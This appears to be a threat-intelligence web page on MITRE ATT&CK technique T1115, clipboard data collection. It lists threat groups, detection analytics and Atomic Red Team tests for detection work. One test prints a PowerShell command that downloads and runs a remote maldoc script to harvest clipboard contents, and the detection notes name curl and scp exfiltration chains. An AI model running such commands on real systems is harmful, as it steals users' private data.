tfMITRE ATT&CK technique

Clipboard Data T1115

Tactic: Collection
Platforms: Linux, macOS, Windows
Version: 1.2
Created: 31 May 2017
Last modified: 12 May 2026

Adversaries may collect data stored in the clipboard from users copying information within or between applications.

ReconResource DevInitial AccessExecutionPersistencePriv EscStealthDef ImpairmentCred AccessDiscoveryLateral MoveCollectionC2ExfiltrationImpact

Threat groups70th pct

Threat groups70th percentile · 70% of ATT&CK techniques have this many threat groups attributed or fewer.

Campaigns72nd pct

Campaigns72nd percentile · 72% of ATT&CK techniques have this many campaigns recorded or fewer.

Tools & malwareTop 10%

Tools & malware90th percentile · 90% of ATT&CK techniques have this many tools implementing them or fewer.

Detection rulesTop 21%

Detection rules79th percentile · 79% of ATT&CK techniques have this many detection rules written or fewer.

Clipboard Data MITRE reference T1115

70th pctamong all ATT&CK techniques for number of groups

4 groups have been recorded using this technique. Newest first; each entry carries MITRE’s procedure text and a link to the group’s full record. Click a name to filter the rules below.

KimsukyG0094 ↗

Has the ability to steal data from the clipboard.1

created 2019-08-261 referenceaka Black Banshee

APT39G0087 ↗

Has used tools capable of stealing contents of the clipboard.1

created 2019-02-191 referenceaka ITG07

APT38G0082 ↗

Used a Trojan called KEYLIME to collect data from the clipboard.1

created 2019-01-291 referenceaka NICKEL GLADSTONE

OilRigG0049 ↗

Has used infostealer tools to copy clipboard data.1

created 2017-12-141 referenceaka COBALT GYPSY

All 4 groups for this technique

Offense vs defense T1115

Is defensive coverage keeping up with adversary use? Eight counts, each ranked against all 697 ATT&CK techniques. Attack sits left, defense right, so a shape leaning left means adversaries are better documented here than defenders are equipped. Hover any spoke for its percentile and the share of techniques that have more. The timeline below shows when each side arrived.

How it got here

Range

Adversary activity (campaign spans) over cumulative rule output. Each source is plotted independently from zero, so neither line includes the other. Campaign dates are year-granularity.

Campaigns · 1Sigma rules (cumulative) · 8Splunk ESCU (cumulative) · 4

first rule: 2020 Q2 · 1 of 1 campaigns plotted

Clipboard Data detection strategy DET0341

MITRE names one behaviour worth catching for this technique and breaks it into 3 analytics, one per platform. Each carries the log sources it needs and the fields you tune per environment.

Clipboard Data Access with Anomalous Context

Enterprise

3 platforms

AN0965 · Windows

Detection of clipboard access via OS utilities (e.g., clip.exe, Get-Clipboard) by non-interactive or abnormal parent processes, potentially chained with staging or exfiltration commands.

Log sources

The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.

Data component	Name	Channel
Process CreationDC0032	WinEventLog:Sysmon	EventCode=1
Process AccessDC0035	WinEventLog:Sysmon	EventCode=10

Tunable fields

MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.

Field	What you tune
TimeWindow	Defines how far back to look for parent-child relationships and follow-on network activity.
UserContext	Filters based on service vs interactive users to reduce noise.
ParentProcessName	Tunable list of expected/benign clipboard accessors.

AN0966 · macOS

Detection of pbpaste/pbcopy clipboard access by processes without terminal sessions or linked to launch agents, potentially staged for collection.

Log sources

The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.

Data component	Name	Channel
Process CreationDC0032	macos:unifiedlog	process

Tunable fields

MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.

Field	What you tune
ExecutionChainLength	How many chained or embedded processes to track for correlation.
TerminalSession	Whether the pbpaste/pbcopy action is tied to a user terminal.
BinaryPath	Adjust if clipboard tooling is relocated (e.g., /opt/empyre/pbpaste).

AN0967 · Linux

Detection of xclip or xsel access to clipboard buffers outside of user terminal context, especially when chained to staging (gzip, base64) or network exfiltration (curl, scp).

Log sources

The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.

Data component	Name	Channel
Process CreationDC0032	auditd:SYSCALL	execve

Tunable fields

MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.

Field	What you tune
ClipboardCommand	Tool used (xclip, xsel, custom clipboard-read binary).
CorrelationWindow	Temporal window to chain staging or network activity with clipboard access.
TTYLinked	Was access linked to interactive user TTY?

Tests5ExecutorsPowerShell 2 · cmd 1 · bash 1 · sh 1Need elevation0 of 5Have prerequisites1Have cleanup2Platformswindows, macos, linux

Test

Platform

Executor

Elevation

Prereqs

Cleanup

Ref

Utilize Clipboard to store or execute commands from

windows

cmd

—

Yes

Execute Commands from Clipboard using PowerShell

windows

PowerShell

—

Execute commands from clipboard

macos

bash

—

Collect Clipboard Data via VBA

windows

PowerShell

—

Yes

This module copies the data stored in the user's clipboard and writes it to a file, $env:TEMP\atomic_T1115_clipboard_data.txt

Input arguments

Name	Type	Default	Description
ms_product	string	Word	Maldoc application Word

Attack command

[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
Set-Clipboard -value "Atomic T1115 Test, grab data from clipboard via VBA"
IEX (iwr "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1" -UseBasicParsing)
Invoke-Maldoc -macroFile "PathToAtomicsFolder\T1115\src\T1115-macrocode.txt" -officeProduct "Word" -sub "GetClipboard"

Cleanup command

Remove-Item "$env:TEMP\atomic_T1115_clipboard_data.txt" -ErrorAction Ignore

Prerequisite

Microsoft #{ms_product} must be installed

Check

try {
  New-Object -COMObject "#{ms_product}.Application" | Out-Null
  $process = "#{ms_product}"; if ( $process -eq "Word") {$process = "winword"}
  Stop-Process -Name $process
  exit 0
} catch { exit 1 }

Satisfy

Write-Host "You will need to install Microsoft #{ms_product} manually to meet this requirement"

GUID4ff37cf6-1179-4717-9fd3-0dde0b1b8e54

Add or copy content to clipboard with xClip

linux

—

Tests from Atomic Red Team (MIT licence) · technique definition

Clipboard Data detections T1115

12 rules are mapped to this technique. Parent techniques also include their sub-techniques’ rules. Click a slice or key entry to filter the table.

Top 21%of all ATT&CK techniques for number of rules

Product

Severity

Library

Drag headers to reorder | Drag edges to resize

Loading detections...

Select	Title	Description	Category	Status	Event	Product	MITRE ATT&CK	CVEs	Severity	Author	Created	Updated	ID	Refs